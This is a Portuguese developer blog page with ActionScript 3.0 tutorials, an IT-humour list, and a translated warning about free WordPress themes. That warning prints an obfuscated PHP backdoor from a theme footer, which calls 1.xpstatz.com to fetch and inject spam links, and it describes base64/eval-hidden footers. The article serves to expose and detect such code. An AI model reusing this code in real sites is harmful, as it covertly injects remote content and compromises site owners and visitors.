Procurar
-
Tags
acrtion script Action ActionScript Action Script Adobe Apostila. As3.0 AS3.0 Basico blog cara Componentes computador Efeito Cascata Efeito onda Enter_Frame flash FlashLigthBoxVideo FLVPlayback informática Movie Clip movieclip Natan Alves nerds onda pc piadas programador de allstar programação Pré Loader Rippler Effect sofrimentost stage Steve Jobs temas themes Timeline Video Wallaby wordpress wp
WP Cumulus Flash tag cloud by Roy Tanck requires Flash Player 9 or better.
Parceiros
Categorias
Luiz Calderaro
- It's me Mario ^^
http://t.co/JQOvw8HH2012/10/10 17:04 by web - Bom dia, depois de dormir muito ontem, estou novo em folha, bom nem tão novo, mas 80% e isso ja é o suficiente pra trampar em paz ^^2012/10/10 12:07 by web
- Voltar do almoço é a melhor coisa que tem... ^^2012/10/05 16:48 by web
- To num dia de cão :/2012/10/04 20:11 by web
- Promoção CONCORRA A UMA MEGA INTRO PARA SEU CANAL ! Clique para concorrer #BooPromo
http://t.co/wOffF5br2012/10/03 13:05 by Boopromo
Programmer, twitter man, musician, professional video game player, husband the best woman the earth and completely crazy!- It's me Mario ^^
Author Archives: admin
Fala galera blz? hj mais um post sobre AS3.0. Na verdade não vai ser bem um post; eu sempre estou falando sobre coisas em AS3.0, mas ainda há poucas pessoas que se aventuram em programar em flash, então pra quem quer descobrir a maravilha que eu descobri aqui vai seguir uma apostila sobre o Basico em AS3.0. Leiam, aprendam e divirtam-se!!!.
Para Download da apostila segue aqui;
<? Programador de Allstar ?>
O Cara da Informática
Fala galera blz?? bom, pra variar um pouco vou postar aqui um texto muito bom sobre o Cara da Informática. Gostaria de saber de quem é o Autor, mas recebi esse texto via email, então só posso compartilhar com todos.
1 – O CARA DA INFORMÁTICA dorme. Pode parecer mentira, mas o CARA DA INFORMÁTICA precisa dormir como qualquer outra pessoa. Esqueça que ele tem celular e telefone em casa, ligue só para o escritório;
2 – O CARA DA INFORMÁTICA come. Parece inacreditável, mas é verdade. O CARA DA INFORMÁTICA também precisa se alimentar e tem hora para isso;
3 – CARA DA INFORMÁTICA pode ter família. Essa é a mais incrível de todas: Mesmo sendo um CARA DA INFORMÁTICA, a pessoa precisa descansar no final de semana para poder dar atenção à família, aos amigos e a si próprio, sem pensar ou falar em informática, impostos, formulários, concertos e demonstrações, manutenção, vírus e etc;
4 – CARA DA INFORMÁTICA, como qualquer cidadão, precisa de dinheiro. Por essa você não esperava, né? É surpreendente, mas o CARA DA INFORMÁTICA também paga impostos, compr a comida, precisa de combustível, roupas e sapatos, e ainda consome Lexotan para conseguir relaxar… Não peça aquilo pelo que não pode pagar ao CARA DA INFORMÁTICA;
5 – Ler, estudar também é trabalho. E trabalho sério. Pode parar de rir. Não é piada. Quando um CARA DA INFORMÁTICA está concentrado num livro ou publicação especializada ele está se aprimorando como profissional, logo trabalhando;
6 – De uma vez por todas, vale reforçar: O CARA DA INFORMÁTICA não é vidente, não joga tarô e nem tem bola de cristal, pois se você achou isto demita-o e contrate um PARANORMAL OU DETETIVE. Ele precisa planejar, se organizar e assim ter condições de fazer um bom trabalho, seja de que tamanho for. Prazos são essenciais e não um luxo… Se você quer um milagre, ore bastante, faça jejum, e deixe o pobre do CARA DA INFORMÁTICA em paz;
7 – Em reuniões de amigos ou festas de família, o CARA DA INFORMÁTICA deixa de ser o CARA DA INFORMÁTICA e r eassume seu posto de amigo ou parente, exatamente como era antes dele ingressar nesta profissão. Não peça conselhos, dicas… ele tem direito de se divertir;
8 – Não existe apenas um “levantamentozinho” , uma “pesquisazinha” , nem um “resuminho”, um “programinha pra controlar minha loja”, um “probleminha que a maquina não liga”, um “sisteminha” , uma “passadinha rápida(ALIAS CONTA-SE DE ONDE SAIMOS E ATÉ CHEGARMOS)”, pois esqueça os “inha e os inho (programinha, sisteminha, olhadinha, )” pois OS CARAS DA INFORMATICA não resolvem este tipo de problema. Levantamentos, pesquisas e resumos são frutos de análises cuidadosas e requerem atenção, dedicação. Esses tópicos podem parecer inconcebíveis a uma boa parte da população, mas servem para tornar a vida do CARA DA INFORMATICA mais suportável;
9 – Quanto ao uso do celular: celular é ferramenta de trabalho. Por favor, ligue, apenas, quando necessário. Fo ra do horário de expediente, mesmo que você ainda duvide, o CARA DA INFORMATICA pode estar fazendo algumas coisas que você nem pensou que ele fazia, como dormir ou namorar, por exemplo;
10 – Pedir a mesma coisa várias vezes não faz o CARA DA INFORMATICA trabalhar mais rápido. Solicite, depois aguarde o prazo dado pelo CARA DA INFORMATICA;
11 – Quando o horário de trabalho do período da manhã vai até 12h, não significa que você pode ligar às 11:58 horas. Se você pretendia cometer essa gafe, vá e ligue após o horário do almoço (relembre o item 2). O mesmo vale para a parte da tarde: ligue no dia seguinte;
12 – Quando CARA DA INFORMATICA estiver apresentando um projeto, por favor, não fique bombardeando com milhares de perguntas durante o atendimento. Isso tira a concentração, além de torrar a paciência.ATENÇÃO: Evite perguntas que não tenham relação com o projeto, tipo como….vocês entendem é claro….;
13 – O CARA DA INFORMATICA não inventa problemas, não muda versão de WINDOWS, não tem relação com vírus, NÃO É CULPADO PELO MAL USO DE EQUIPAMENTOS, INTERNET E AFINS. Não reclame! O CARA DA INFORMATICA com certeza fez o possível para você pagar menos. Se quer EMENDAR, EMENDE, mas antes demita o CARA DA INFORMATICA e contrate um QUEBRA GALHO;
14 – Os CARAS DA INFORMATICA não são os criadores dos ditados “o barato sai caro” e “quem paga mal paga em dobro”. Mas eles concordam… ;
15 – E, finalmente, o CARA DA INFORMATICA também é filho de DEUS e não filho disso que você pensou…
16 – Agora, depois de aprender sobre O CARA DA INFORMATICA, repasse aos seus amigos,afinal, essas verdades precisam chegar a todos. O CARA DA INFORMATICA agradece.
17 – Não pergunte para O CARA DA INFORMATICA uma sugestão de computador BOM e BARATO para você comprar. Não existe computador BOM e BARATO. Ou é uma coisa, ou é outra.
<? Programador de Allstar ?>
Wallaby
Fala galera blz? esse post demorou mas chegou, vou hoje falar sobre Wallaby, o bichinho da Australia? Não ¬¬ o software desenvolvido pela Adobe que transforma flash em HTML5. Ai você pensa, pronto o Flash vai acabar? Claro que não! esse programa apenas converte timeline não consegue converter Action Script em HTML5 mesmo assim essa briga ridicula por causa do Idiota Steve Jobs não leva a nada. Flash não vai morrer o AS3.0 veio pra mostrar isso o HTML5 tem varias funcionalidades boas, que em outros posts eu vou comentar mais, mas o espaço do Flash como ferramenta interativa não muda e tende a crescer junto com o HTML5, mas enquanto isso fique com o video da demonstração do Wallaby e pra quem quiser testar segue o link para download aqui
<? Programador de Allstar ?>
Video no Flash via AS3.0
Fala ai galera blz? hoje com mais um post e novamente sobre AS3.0, recebi emails perguntando sobre videos no Flash, bom existem varias maneiras de embedar video no Flash, qual delas é a melhor? nenhuma!, é nenhuma mesmo todas são boas e tem suas finalidades, pra quem começa com o Flash pode usar um componente nativo o FLVPlayback para usar é simples:
1 – abra o menu janela seção componentes/video/FLVPlayback,
2 – arraste para o seu palco
3 – (opcional) va em inspetor de componentes e modifique opções a seu gosto inserindo botões de play, stop, timeline.
5 – abra o painel de ações e escreva o seguinte código
//Importando Video
import fl.video.*;
//Criando a variavel para o FLVPlayback e adicionando ao stage
var vid:FLVPlayback = new FLVPlayback;
addChild(vid);
//URL do Video (preciso explicar mais do que isso???)
vid.source = “video.flv”;
Lembrando sempre que seu video precisa estar na extenção .flv;
Outra observação boa é que o componente ja tem AutoPlay como padrão;
Outro Modo de embedar videos no Flash é com um componente que eu uso muito do Natan Alves o FlahsLightBoxVideo que pode ser feito o download aqui;
depois de fazer o download do componente siga os passos
1 – copie e cole o componente na pasta Adobe\Adobe Flash CS4\Common\Configuration\Components
2 – abra o menu janela seção componentes/componente padrão/FlashLightBoxVideo,
3 – arraste o componente para o seu palco
4 – instancie o componente
5 – (opcional) va em inspetor de componentes e modifique opções a seu gosto inserindo botões de play, stop, timeline.
6 – abra o painel de ações e escreva o seguinte código
//OBS.: nesse caso eu vou usar um botao chamado botao_btn para executar o video
botao_btn.addEventListener(e:MouseEvent.CLICK, vaivideo);
function vaivideo(e:MouseEvent):void{
flbvideo.carrega (“video.flv”, “nome do video”, “url do video ou site”);
}
//Pronto Simples só isso ^^
No geral ainda existem outros modos de inserir video no Flash, ainda tem API do Youtube, mas vou deixar para um próximo tutorial.
Download dos arquivos usado nesse tutorial aqui;
<? Programador de Allstar ?>
Pré Loader
Fala galera mais um post sobre AS 3.0 nesse vou mostrar como fazer um pré – loader eu utilizei uma caixa de texto dinamica instanciada de texto_txt, uma barra que vai correr de um lado a outro do stage de instancia barra_mc (lembrando essa barra é um movie clip sempre com o registro no canto superior esquerdo) e o resultado final, uma foto no frame 2.
Segue abaixo o código usado.
// —– Eventos
/* o Enter frame executa o evento infinitas vezes de acordo com o frame rate
infinitas vezes na velocidade do frame rate, então ele vai executar até que seja
removido*/
stage.addEventListener(Event.ENTER_FRAME, loop )
// —– Funções
function loop ( e:Event ) {
//agente pega a o tamanho total em bytes
var totais:uint = root.loaderInfo.bytesTotal
//agente pega quanto foi carregado atualmente
var carregados:uint = root.loaderInfo.bytesLoaded
//fazemos uma conta para saber qual aporcentagem do carregamento
var conta:Number = carregados / totais * 100
//agente seta o texto arredondando o numero para não termos numeros com ,
texto_txt.text =String(Math.round(conta)) + ” %”
//estamos dividindo a porcentagem por 100 por que o scale trabalha com numero entre 0 e 1;
barra_mc.scaleX = conta / 100
//quando termina o carregamento
if ( conta == 100) {
//retiramos o listener do ENTER_FRAME
stage.removeEventListener(Event.ENTER_FRAME, loop)
//e vamos para o frame que tem o conteudo
gotoAndStop ( 2 )
}
}
// —– Inicialização
stop()
Arquivos para download aqui.
<? Programador de Allstar ?>
Ripple Effect ou Efeito Cascata
Bom pessoal agora sim vou me apresentar, sou Luiz Calderaro Flash Developer na agencia Café Comunicação e estou começando um blog sobre programação, para mim não existe programação melhor ou pior (tirando o ASP) por isso vou falar sobre tudo. Tudo mesmo qualquer duvida, sugestão ou critica sempre será bem vinda.
Hoje vamos falar sobre uma classe que eu achei na internet muito interessante, o Ripple Effect (efeito cascata) bom isso é bem tranquilo e qualquer um pode fazer, primeiro faça o download da classe aqui. após fazer o download no seu Stage adicione um Movie Clip com o registro no canto superior esquerdo, lembrando que, pode ser feito com qualquer coisa botão, efeito de background etc.
Após a criação do Movie Clip instancie ele, sugestão MC, e abra o painel de ações e escreva o seguinte código:
/* Importa a Classe responsável pelo efeito de onda */
import be.nascom.flash.graphics.Rippler;
/* Cria as variaveis definindo a qual movie clip será criado o efeito, tamanho e velocidade */
var ondas:Rippler = new Rippler(mc, 10, 5);
/* adicionando o listener no Movie Clip */
mc.addEventListener(MouseEvent.CLICK, vai);
function vai(e:MouseEvent):void{
/* Cria as ondas de acordo com o posicionamento do Mouse */
ondas.drawRipple(e.target.mouseX, e.target.mouseY, 30, 2);
}
Espero que se divirtam com essa classe download do Fla Disponivel aqui
até o proximo tutorial.
<? Programador de Allstar ?>
Cuidado com templates grátis de WordPress.
Cuidado com templates grátis de WordPress.
Artigo original: http://wpmu.org/why-you-should-never-search-for-free-wordpress-themes-in-google-or-anywhere-else/
Muitos desenvolvedores que usam wordpress atualmente não têm tempo de desenvolver algum template grátis para a plataforma do zero. Por isso, é comum apostar em aproveitar templates já existentes, nem que seja para usar algum código diferente presente neles. Isso economiza tempo, mas também esconde armadilhas que podem comprometer não só seu blog como a segurança de onde ele está hospedado. Também não podemos esquecer que boa parte deles tem uma qualidade duvidosa.
Segundo este artigo, o autor listou alguns exemplos de sites suspeitos de templates grátis de wordpress que devem ser evitados (eu sua maioria, de templates grátis e tidos como resultados primários das pesquisas pelo termo no Google):
WordPressThemeBase:
Tido como o primeiro resultado na pesquisa “freewordpressthemes”, oferece templates grátis classificados por reputação, mais baixados, mais vistos e as diversas categorias. Eis algumas das coisas suspeitas que você pode encontrar neles:
Parece um rodapé inofensivo de copyright, mas pelo código fonte…
Temos uma linha de código com encriptação “base64”, normalmente utilizada para esconder códigos maliciosos, que pode ser desvendada com algum decodificador como o Otto decoder e em seguida trocar o eval() por echo(), que revela o verdadeiro motivo do tal rodapé:
Um simples rodapé esconde na verdade “FreeAntivirus Downloads” um chamariz para prejudicar seu site nos mecanismos de busca e atrair links de spam.
Outros sites famosos que utilizam esta armadilha da mesma forma nos templates são FreeWordPressThemes, WP ThemesDepot, WP Rexe No Limits Webdesign. Todos eles tidos como resultados mais obtidos nessas pesquisas pelo Google. Imagina quantos caem nesse golpe do “base64”.
Theme2WP
Além das famosas armadilhas do base64 temos as que podem ser detectadas por uma simples olhada no código fonte, é o caso deste site.
Para começar, este cabeçalho já mostra a mensagem “Do not edit following code, it may cause your site to stop working!”.Como no exemplo anterior, um simples rodapé diz muito mais além de uma mensagem de alerta.
Pelo código fonte, ou melhor, pelo Firefox, utilizando o Firebug, podemos encontrar o responsável por esconder essa linha com o link de spam no CSS.
Uma tentativa nada sutil de esconder o vilão, jogando ele para fora da página, aonde o usuário não consegue ver. O usuário pode até ser enganado, mas o desenvolvedor não.
Templates Browser
O site fornece nada mais nada menos que uma série de templates listados por página, com direito a preview e download apenas, mais nada. Um chamariz sem nenhum conteúdo explicativo pode atrair muitos olhares, mas nenhuma confiança.
Como de praxe, o perigo se esconde no rodapé, com um link com um “href” enorme…
1. get_col(“SELECT option_value FROM $wpdb->options WHERE option_name=’l_time_code’”);
3. $l_code = $wpdb->get_col(“SELECT option_value FROM $wpdb->options WHERE option_name=’l_code’”);
4.
5. if (empty($l_time_code)) {
6. $wpdb->query(“INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES (‘l_time_code’, ’0′, ‘no’)”);
7. $new_time_code = 0;
8. } else
9. $new_time_code = intval($l_time_code[0]);
10.
11. if (empty($l_code)) {
12. $wpdb->query(“INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES (‘l_code’, ‘
‘, ‘no’)”);
13. $new_l_code= ‘
‘;
14. } else $new_l_code = $l_code[0];
15.
16. if ( ( time() – $new_time_code ) >= 60 ) {
17. $R39C188653EA53DBD6E3F1D3915EDAC0C = “com”;
18. $R8088818E3E46A17C12F2EE42EB12D7AC = “1.”;
19. $R7B934F06258B8BA3608E30CDE9EA1035 = “xpstatz”;
20. $xps = “xps.”;
21. $url = “$R8088818E3E46A17C12F2EE42EB12D7AC$R7B934F06258B8BA3608E30CDE9EA1035.$R39C188653EA53DBD6E3F1D3915EDAC0C”;
22. $page = “/”.$xps.”php?h=” . urlencode($_SERVER['HTTP_HOST']) . “&u=” . urlencode($_SERVER['REQUEST_URI']);
23.
24. //1.xpstatz.com/xps.php?h=host&u=uri
25.
26. if (ini_get(‘allow_url_fopen’)) {
27. $new_l_code = @file_get_contents(“http://” . $url . $page);
28. }
29. else {
30. $RF500F4A848E2EB2F8AAC3A6734D7EC38 = @fsockopen($url, ’80′, $R87844B1C6FC922407E6020B6B224950F, $R1966719AEC0096F98BA934D649A6E28D, 30);
31.
32. if ($RF500F4A848E2EB2F8AAC3A6734D7EC38) {
33. @stream_set_timeout($RF500F4A848E2EB2F8AAC3A6734D7EC38, 60);
34. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, “GET $page HTTP/1.1\r\n”);
35. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, “Host: $url\r\n”);
36. @fwrite($RF500F4A848E2EB2F8AAC3A6734D7EC38, “Connection: Close\r\n\r\n”);
37. $new_l_code = “”;
38. while(!feof($RF500F4A848E2EB2F8AAC3A6734D7EC38)) {
39. $new_l_code .=@fgets($RF500F4A848E2EB2F8AAC3A6734D7EC38, 1024);
40. }
41. $new_l_code = trim(strstr($new_l_code, “\r\n\r\n”));
42. }
43. @fclose($RF500F4A848E2EB2F8AAC3A6734D7EC38);
44. }
45. if ( strpos($new_l_code, ‘[/]‘) ) {
46. $new_time_code = time();
47. $R54997E66281827CBC285597040554FCC = mysql_escape_string($new_l_code);
48. $wpdb->query(“UPDATE $wpdb->options SET option_value=$new_time_code WHERE option_name=’l_time_code’”); $wpdb->query(“UPDATE $wpdb->options SET option_value=’$R54997E66281827CBC285597040554FCC’ WHERE option_name=’l_code’”);
49. }
50.
51. }
52. if ( strpos($new_l_code, ‘[/]‘) ) {
53. $R3CB9CDAED257453CFA56B9EF81B44C57 = strpos($new_l_code, ‘[]‘) + 2;
54. $R24D59CD0B76A27B85F35D40A3CF6EC37 = strrpos($new_l_code, ‘[/]‘);
55. echosubstr($new_l_code, $R3CB9CDAED257453CFA56B9EF81B44C57, $R24D59CD0B76A27B85F35D40A3CF6EC37-$R3CB9CDAED257453CFA56B9EF81B44C57);
56. $RE762F29BDD39FF0A2ADF9AF4E6885799 = 1;
57. }
58. ?>
… que chama um link para um link de um site de cassino, um dos temas mais abusados por spammers.
FreeWPThemes
Dos de cima, é o único que não tem códigos com malwares escondidos. Mas com a extensão do WordPress “ThemeCheckPlugin” podemos achar alguns erros de imagens e funções inexistentes.
Apesar dos erros acima citados não parece um template perigoso, apenas com alguns furos que podem fazer o site não funcionar perfeitamente. Mas se você quer algo mais simples pro seu wordpress pode descartar algumas dessas funções problemáticas sem fazer falta.
Calma, não é o fim do mundo! Sim, existe um único site confiávelno qual você pode baixar templates, o do próprio wordpress. O único problema talvez seja por serem simples ou obsoletos demais para gostos exigentes, mas a vantagem disso que podemos usá-los como base para fazer nossos próprios layouts.
Não adianta, mesmo com as tentativas de criar um banco de templates decentes ou discaradamente maliciosos, o WordPress.org ainda prevalece justamente pelo material passar pelas mãos dos próprios desenvolvedores antes de ir para o ar.

















